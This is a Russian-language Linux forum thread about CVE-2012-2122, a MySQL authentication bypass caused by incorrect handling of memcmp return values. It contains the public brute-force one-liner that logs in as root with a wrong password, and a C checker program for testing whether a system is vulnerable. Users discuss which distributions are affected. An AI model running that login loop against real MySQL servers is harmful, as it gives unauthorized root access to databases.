LINUX.ORG.RU

CVE-2012-2122: китайский метод взлома MySQL

 , ,


4

4

Китайцы взломали сервер Пентагона. Каждый китаец попробовал один пароль. Каждый второй пароль был «Мао Цзедун». На 74357181-й попытке- сервер согласился,что у него пароль «Мао Цзедун».

!Ъ: CVE-2012-2122: A Tragically Comedic Security Flaw in MySQL

Ъ:

$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done

mysql>

Перемещено tazhate из talks

★★★★★

Последнее исправление: beastie (всего исправлений: 1)

Ответ на: комментарий от beastie

Я не про источник новости, а о том, почему это могло быть на самом деле (если верить опеннету конечно).

vadik ★★
()
Ответ на: комментарий от vadik

Assumption is the mother of all fuck-ups.

вроде вполне сходится:

This flaw was rooted in an assumption that the memcmp() function would always return a value within the range -127 to 127 (signed character).

beastie ★★★★★
() автор топика

Под макосью эксплойт не работает :-P

А с другой стороны, у меня уже жалость к людям, использующим вот это вот. Мало того, что для мало-мальски нормальной производительности и масштабируемости там необходимо сидеть и крутить запросы в бараний рог, так еще и секурити в джоппе.

shimon ★★★★★
()

П_ЗДЦ!

Мой хакинштон подвежен этой уязвимости memcpy!!

$ cat a.c
/*
 * CVE-2012-2122 checker
 *
 * You may get differing results with/without -m32
 *
 * Joshua J. Drake
 */

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(void) {
        int one, two, ret;
        time_t start = time(0);
        time_t now;

        srand(getpid()*start);
        while (1) {
                one = rand();
                two = rand();
                ret = memcmp(&one, &two, sizeof(int));
                if (ret < -128 || ret > 127)
                        break;
                time(&now);
                if (now - start > 10) {
                        printf("Not triggered in 10 seconds, *probably* not vulnerable..\n");
                        return 1;
                }
        }
        printf("Vulnerable! memcmp returned: %d\n", ret);
        return 0;
}
$ gcc a.c
$ ./a.out 
Vulnerable! memcmp returned: -148
bk_ ★★
()
Ответ на: комментарий от beastie

проблема явно 64-х битная

На 32bit PAE Ubuntu и под 64 bit Gentoo (mysql-5.1.62-r1) не воспроизводится.

64 бит Ubuntu с установленным mysql под рукой нет.

Но на Хабре народ подтверждал баг во многих дистрах.

KRoN73 ★★★★★
()
Ответ на: комментарий от beastie

по ссылке, те, кто в попе — проблема явно 64-х битная

Вот понимаешь, когда такие ляпы допускает компания, на 64-битных архитектурах собаку съевшая и крокодилом закусившая, начинаешь призадумываться.

shimon ★★★★★
()
Ответ на: П_ЗДЦ! от bk_

Так а в чем проблема? Они что из ответа memcmp только младший байт сравнивают?

Zak ★★
()
Ответ на: комментарий от KRoN73
$ uname -a
Linux <hidden> 2.6.32-37-server #81-Ubuntu SMP Fri Dec 2 20:49:12 UTC 2011 x86_64 GNU/Linux
$ ./test
Vulnerable! memcmp returned: 139

вот так вот

beastie ★★★★★
() автор топика
Ответ на: комментарий от winddos

не обязательно, бага в memcmp и его использовании, т.ч. вполне может быть и remote и не только mysql.

beastie ★★★★★
() автор топика
Ответ на: комментарий от wota

так то оно так, но меня терзают смутные сомнения, что это проблема только mysql.

beastie ★★★★★
() автор топика
Ответ на: комментарий от KRoN73

так ведь был вроде когда-то на моей памяти, или? ;) нодо по-чаще на лор заходить. а кто у нас там щас на вахте?

beastie ★★★★★
() автор топика

Странно, ubuntu 10.04 отмечена как уязвимая, но на моих серваках с убунтой взлом не работает...

Deleted
()
Ответ на: комментарий от beastie

по ссылке, те, кто в попе — проблема явно 64-х битная

Ubuntu 10.04 amd64 - не воспроизводится.

Deleted
()
Ответ на: комментарий от beastie

так ведь был вроде когда-то

На ЛОРе — никогда :)

KRoN73 ★★★★★
()

Но эта дыра есть только в федоре, убунте, арче и зюзе.

Quasar ★★★★★
()
Ответ на: комментарий от beastie

Ну это ясно.
Только вот в случае мускулов большинство серваков таки банят удаленный доступ для левых хостов.

Хотя наверняка что то вкусное будет, пойду копаться :)

winddos ★★★
()

Сия конструкция:

$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done
на
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 12.04 LTS
Release:	12.04
Codename:	precise

$ uname -a
Linux localhost 3.2.0-24-generic 39-Ubuntu SMP Mon May 21 16:52:17 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux

$ mysql --version
mysql  Ver 14.14 Distrib 5.5.22, for debian-linux-gnu (x86_64) using readline 6.2
не пущает.

valich ★★★
()
Ответ на: П_ЗДЦ! от bk_

Мой хакинштон подвежен этой уязвимости memcpy!

Не понял. Вы о том, что memcmp выполняется долго? Прототип memcmp согласно man:

int memcmp(const void *s1, const void *s2, size_t n);

Так что возвращаемое значение может быть меньше -128 и больше 127. Не вижу никакой проблемы. Если вы ее видите, то поясните пожалуйста и мне.

andreyu ★★★★★
()
Ответ на: комментарий от beastie

По ссылке написано «Because of incorrect casting» - ну так это не проблемы memcmp, а проблемы программиста, который использовал memcmp. Тут я вообще не понимаю, зачем нужно кастить возвращаемое значение, а потом проверять его на ошибку.

andreyu ★★★★★
()
Ответ на: комментарий от beastie

почему же в вашу? пардон, это я в мускул целился ;)

Прошу прощения.

andreyu ★★★★★
()
Ответ на: комментарий от xtraeft

Притом пока у народа из знакомых мне проявлялось только в убунте. На центосях всё хорошо.

Shtsh ★★★★
()

на Debian'е не работает почему-то... amd64, ЧЯДНТ?

drBatty ★★
()
Ответ на: комментарий от xtraeft

Ну вроде есть какие то дистрибутивы (явно не убунта) где руту разрешено ходить с любого хоста только по паролю.
Но среди моего фишлиста таких увы не оказалось :(

winddos ★★★
()

На всех гентах тишина и спокойствие..

LightDiver ★★★★★
()
Ответ на: комментарий от xtraeft

курица - не птица, женщина - не человек?

угу

в сабже кстати речь не об убунту

только оно работает только в бубунте. Почему-то. Аффтор заявляет обратное, однако... У меня не воспроизводится.

drBatty ★★
()
Ответ на: комментарий от drBatty

только оно работает только в бубунте. Почему-то. Аффтор заявляет обратное, однако... У меня не воспроизводится.

ну ты бы хоть описание уязвимости почитал - может тогда понял бы откуда ноги растут.
но вместо этого ты сделал гениальный вывод 'убунту дырявое, моя слака на локалхосте безопасна'

xtraeft ★★☆☆
()
Ответ на: комментарий от drBatty

Дополнение: проверка версий MySQL поставляемых в дистрибутивах показала, что уязвимости подвержены пакеты для 64-разрядных выпусков Ubuntu Linux (с 10.04 по 12.04), OpenSuSE 12.1, Fedora 16 и Arch Linux. Не подвержены уязвимости официальные сборки с сайтов проектов, а также пакеты из состава Red Hat Enterprise Linux, CentOS, выпусков Ubuntu для 32-разрядных систем, Debian Linux (Squeeze, Lenny), Gentoo 64-bit.

z00ke
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.